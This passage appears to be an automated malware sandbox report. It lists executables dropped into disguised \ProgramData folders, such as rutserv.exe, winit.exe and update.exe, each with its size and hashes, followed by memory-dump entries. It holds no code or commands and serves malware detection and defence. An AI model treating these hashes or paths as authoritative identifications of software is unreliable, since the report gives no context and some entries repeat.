1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
\ProgramData\Microsoft\Intel\wini.exe

Filesize
3.1MB

MD5
770fff853bc5b785524a5033d56994a9

SHA1
ab29b77554a893ec151093e75cc849bde4c40a44

SHA256
74c957325eeb381da0091487502854be1cd87ce9aefa326c6fc927c11d248f59

SHA512
7de03fa2e38e8e9e7df3e86528c0a187a13c80cacf646c13d0aaef7b4a41b4e729044bd99db31cdfad0e2f2e83dd5c742ab7979d10fab43835bdeaf90f0203fc

Download Submit
\ProgramData\Microsoft\rootsystem\1.exe

Filesize
346KB

MD5
622610a2cc797a4a41f5b212aa98bde0

SHA1
bfe47dce0d55df24aa5b6d59c442cf85c618176e

SHA256
7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2

SHA512
3c6d36666086ffe13a09e4decc4956b0b15888de0ae457dabe29ed7e1195ec145cd1adc61e48fd7dc6eb8f0c94b69d5e2fb04bf75d9e456be0ca11289516381b

Download Submit
\ProgramData\Microsoft\rootsystem\1.exe

Filesize
346KB

MD5
622610a2cc797a4a41f5b212aa98bde0

SHA1
bfe47dce0d55df24aa5b6d59c442cf85c618176e

SHA256
7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2

SHA512
3c6d36666086ffe13a09e4decc4956b0b15888de0ae457dabe29ed7e1195ec145cd1adc61e48fd7dc6eb8f0c94b69d5e2fb04bf75d9e456be0ca11289516381b

Download Submit
\ProgramData\RealtekHD\taskhost.exe

Filesize
1.7MB

MD5
e561bf827e929c3121f0b9002592bdde

SHA1
c05819883b09c1abf3e3ecef66262a85b6ee032d

SHA256
c565157f345b50acf4763d9e603ce379e1e349e4483ead7635b0fd420eb252fd

SHA512
04675daacf6a336ef698c51dd8788623011675ca113a1321c54b5306c4046eda99e8df920fec8323b5d47361fca5ddf91445a815865ec87fd18e6da8c0ac6470

Download Submit
\ProgramData\RealtekHD\taskhostw.exe

Filesize
2.9MB

MD5
4cd554c3e4ff642fd82d938b072d31d7

SHA1
a8a70a18a6f8e1b426599ded4385a2d4c386b571

SHA256
0d0b85d01ec49bcb0c4196015f4125a547315ecbb451ad1bd1d95a7ed875c482

SHA512
5f6f17921485916514c7298ae9c22c010a9e75eb28367a94327566a01c60d44d9a51192ec2dc6d1eecc985d80a941eed1e86c12a4e8e317c87cafb3a994592f2

Download Submit
\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
\ProgramData\install\cheat.exe

Filesize
6.5MB

MD5
7057a4e52cf8ab993a57acbdb303e265

SHA1
a6306981e4d62916cc6d59a9e4e58846deaeb956

SHA256
e3725851f16bf3b10521b672a061ee766f536feedfdf941cb6ccf5f206af5ca7

SHA512
28d9980c0b676d6e79a31c6c65d5c89774d0885d82aa2f593c10ca7dfb10ab374ba82d4d86c362a82f9110793c0048bfc47ccddde4ae23afc512cff3b278d781

Download Submit
memory/380-54-0x00000000765F1000-0x00000000765F3000-memory.dmp

Filesize
8KB

Download
memory/924-128-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/924-127-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/924-129-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/924-157-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/924-133-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/924-131-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1292-143-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1292-146-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1292-137-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1292-145-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1292-147-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-100-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-97-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-98-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-99-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-101-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1728-102-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-112-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-113-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-115-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-111-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-114-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1940-117-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1972-215-0x000007FEFC4B1000-0x000007FEFC4B3000-memory.dmp

Filesize
8KB

Download